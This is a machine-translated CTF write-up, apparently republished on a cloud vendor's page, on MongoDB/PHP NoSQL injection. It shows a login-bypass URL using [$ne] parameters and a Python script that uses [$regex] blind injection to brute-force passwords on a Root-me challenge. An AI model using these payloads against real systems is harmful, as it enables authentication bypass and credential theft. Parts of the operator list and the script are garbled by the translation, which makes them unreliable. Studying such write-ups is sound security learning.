An interesting instance makes NoSQL injection no longer mysterious

Source: Internet
Author: User
Tags sql injection methods

An interesting instance makes NoSQL injection no longer mysterious

This article focuses on the security issues brought about by mongodb, and then introduces the injection of NoSQL by an interesting CTF instance.
MongoDB can adapt to open-source databases for enterprises of all sizes and individuals. Targeting is an agile database. MongoDB data models can be flexibly updated with the development of applications. At the same time, it provides secondary indexes and a complete query system to build new applications, improve work efficiency with customers, speed up product time-to-market, and reduce costs. However, in the security field, this MongoDB does not completely avoid security issues (of course, it is impossible to completely avoid it ).
0 × 01 basic knowledge
In the FAQ of MongoDB, there is a passage like this:
".. With MongoDB we are not building queries from string, so traditional SQL injection attacks are not a problem ."
As a result, most developers think that this is the case. In fact, their statement is correct.
The traditional SQLi method is not feasible. Because MongoDB requires the json format, for example, find ({'key1'; 'value1 '}) in actual use (in the PHP environment ), generally, $ collection-> find (array ('key' => 'value') is used in this way. For those who are used to traditional SQL injection methods, such a form is hard to think of conventional methods to bypass, and it is difficult to think of methods to construct payload, which is as difficult to inject as parameterized SQL statements.
To find out the cause and principle of a real vulnerability, it is necessary to understand the most basic MongoDB syntax. I will not bother with the overall introduction. I will only post what I think is important to streamline the length, save time:
Conditional Operators
$ Gt:>
$ Lt: =
$ Lte:
$ In: in
$ Nin: not in
$ All: all
$ Or: or
$ Not: Anti-match (version 1.3.3 and later)
Regular Expression for fuzzy query: db. customer. find ({'name': {'$ regex': '. * s .*'}})
/**
*: Range Query {"age": {"$ gte": 2, "$ lte": 21 }}
*: $ Ne {"age": {"$ ne": 23 }}
*: $ Lt {"age": {"$ lt": 23 }}
*/
0 × 02 threats
However, the problem is not caused by SQL injection. We obviously cannot consider this issue from the perspective of SQL statements. We should change the angle.
In actual use. Find ({'var ': {' $ key': 'value'}) statements are completely usable.
We have seen such a statement in the introduction of 0 × 01. These examples are given when range queries and $ ne and lt are involved. Here, in the threat section, here are several examples:
// Query records with age = 22
Db. userInfo. find ({"age": 22 });
// Equivalent to: select * from userInfo where age = 22;
// Query records of age> 22
Db. userInfo. find ({age: {$ gt: 22 }});
// Equivalent to: select * from userInfo where age> 22;
We found that in the find parameter, the value corresponding to age is set to an array (this array contains the variable names specially defined by mongoDB as operators, and the value corresponding to the variable name is used as the operation object) it will play the role of conditional query. In terms of the nature of PHP, due to its loose array feature, if we input value = A, that is, we input data with A value of 1. If the input value [$ ne] = 2, it means value = array ($ ne => 2). From the MongoDB perspective, it is very likely that the query from an original single target is changed to a conditional query ($ ne indicates not equal to-not equel ):
From xxx. find ({'key': 'A'}) to xxx. find ({'key': {$ ne: 'A '}})
Obviously, this has already caused serious security problems.
0 × 03 discussion (starting from an instance)
As for the threats analyzed in 0 × 02, we can discuss in depth what problems such threats will cause.
(From this part, I will discuss in depth the specific security issues of NoSQL from a root-me instance)
This is the challenge of the Root-me.org web-server

 
About 20 people have successfully completed this challenge. Let's take a look at the mystery of this instance.

 
First, enter an account and password to check the response. I entered the \ and \ prompts.

 
Unexpectedly, we found that the data is transmitted through GET, and the url displays the user name and password you entered.
Based on the vulnerability we just found, you can try the condition query. At the same time change the two conditions, the more intelligent reader will immediately think if you enter the http://challenge01.root-me.org/web-serveur/ch38? Login [$ ne] =\& pass [$ ne] = \
It can be verified by bypass immediately, right?

 
Congratulations! You have mastered the most basic NoSQL injection.
Obviously, our goal is not here. Because there is no flag, the question says you want to find the hidden username, right? The Hidden username has a strong relationship with the flag. Well, that's why. Just try!
0 × 04 exploit!
Obviously, we succeeded in the first step, but we were a little disappointed. We found that we didn't get the flag, but we were glad that we had to make initial use of the vulnerability. As a self-motivated person, this is clearly not our ultimate goal. Think for a moment, there must be another account, right? So its user name is definitely not admin, so we made a slight modification to the last url as if it was successful?


 
I am a little disappointed. This test is definitely not the correct answer. In fact, we don't need to worry. According to this logic, the user name is not admin, And the password is not the test password. Can we guess another user? Obviously, this idea is absolutely correct, but the problem is that we do not know the admin or test password.
This is the true exploition!
So the interesting question is, how can we get the password? After You are connected as: xxx appears, I have not found any related cookies, which is troublesome. It is verified once and the user name and password are written in php, then we didn't find any place where code injection could be made. That is to say, we can only use this similar method to get the password. Review basic knowledge partial fuzzy query using regular expression: db. customer. find ({'name': {'$ regex': '. * s .*'}})
In this way, we can construct a regular expression to check every bit of the password (for a similar idea, refer to SQL Blind Injection). If you need it, I can explain the SQL blind note knowledge in the next article.
Here I will briefly explain that regular expressions are used for Fuzzy queries:
^ Indicates matching from the beginning
$ Indicates matching from the back.
^ Abc indicates that the combination of the first three letters must be abc. Therefore, if the query password Matches ^ a, the first digit of the password must be, if ^ AB is met, the first and second digits must be AB. If not, an error is returned!
Now that we understand the basic principles, we can start to guess the password, right?

 
In this case, the first digit of the password must not be a. In fact, the first digit is n. Let's verify it:

 
Obviously, this cannot be guessed one by one. It's so tired... Then I wrote the following script to guess the password:
Import urllib
Payload = "login = test & pass [$ regex] = ^"
# Web = urllib. urlopen ("http://challenge01.root-me.org/web-serveur/ch38? "+ Payload)
Str_base = "abcdefghijklmnopqrstuvwxyz_ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890" #/-+ = .~ '! @ % ^ * () [] {}| \;:'\",? "
While (1 ):
Print 'try: ', str_base [I]
If "You are connected" inurllib. urlopen ("http://challenge01.root-me.org/web-serveur/ch38? "+ Payload + str_base [I]). read ():
Print 'success', ':', str_base [I]
Payload = payload + str_base [I]
# Global I
I = 0
Else:
I = I + 1
Print "fail"
If I pass
Else:
Break
# Print payload

 
Print "Guess End"
Print payload
I will not explain the coding process of this source code (this is not part of the scope of this article)
After starting the script, let's wait for the result.

The admin password is not_the_flag.
The password for test is still_not_the_flag.
So we should be able to get another hidden user from the beginning:

 
Yes, I made a special mosaic. Do you know what flag is? Please do it yourself!
0 × 05 postscript
I wrote exp by myself and looked back at the ideas. NoSQL injection has nothing to do with SQL. No wonder what the actual meaning of NoSQL is (Not only SQL). Maybe it is like this? Or maybe not. In short, with the rapid development of technology today, I believe that the original intention and idea of MongoDB are indeed good. It does completely eliminate traditional SQL injection, but unfortunately, teammate PHP is not powerful, and its own query mechanism defects lead to a larger problem.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.